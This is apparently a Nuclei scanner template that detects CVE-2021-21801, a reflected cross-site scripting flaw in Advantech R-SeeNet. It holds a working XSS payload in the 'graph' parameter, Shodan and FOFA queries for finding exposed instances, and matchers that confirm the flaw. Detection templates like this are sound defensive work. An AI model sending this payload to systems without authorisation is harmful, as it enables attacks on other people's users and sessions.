id: CVE-2021-21801 info: name: Advantech R-SeeNet - Cross-Site Scripting author: gy741 severity: medium description: Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the graph parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. remediation: | Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application. reference: - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272 - https://nvd.nist.gov/vuln/detail/CVE-2021-21801 - https://github.com/ARPSyndicate/cvemon - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-21801 cwe-id: CWE-79 epss-score: 0.83144 epss-percentile: 0.98185 cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:* metadata: max-request: 1 vendor: advantech product: r-seenet shodan-query: http.html:"r-seenet" fofa-query: body="r-seenet" tags: cve2021,cve,rseenet,xss,graph,advantech http: - method: GET path: - '{{BaseURL}}/php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22' matchers-condition: and matchers: - type: word part: body words: - '"zlo onerror=alert(1) "' - 'Device Status Graph' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a00463044022028dd003a44a9702befd4cdafccf356aabf08e207ef3c8c0e5eb1d535064326b402205d4243a377e793952264578149afc3cdc9910c0e9726edeb5c3bcb82fcddd527:922c64590222798bb761d5b6d8e72950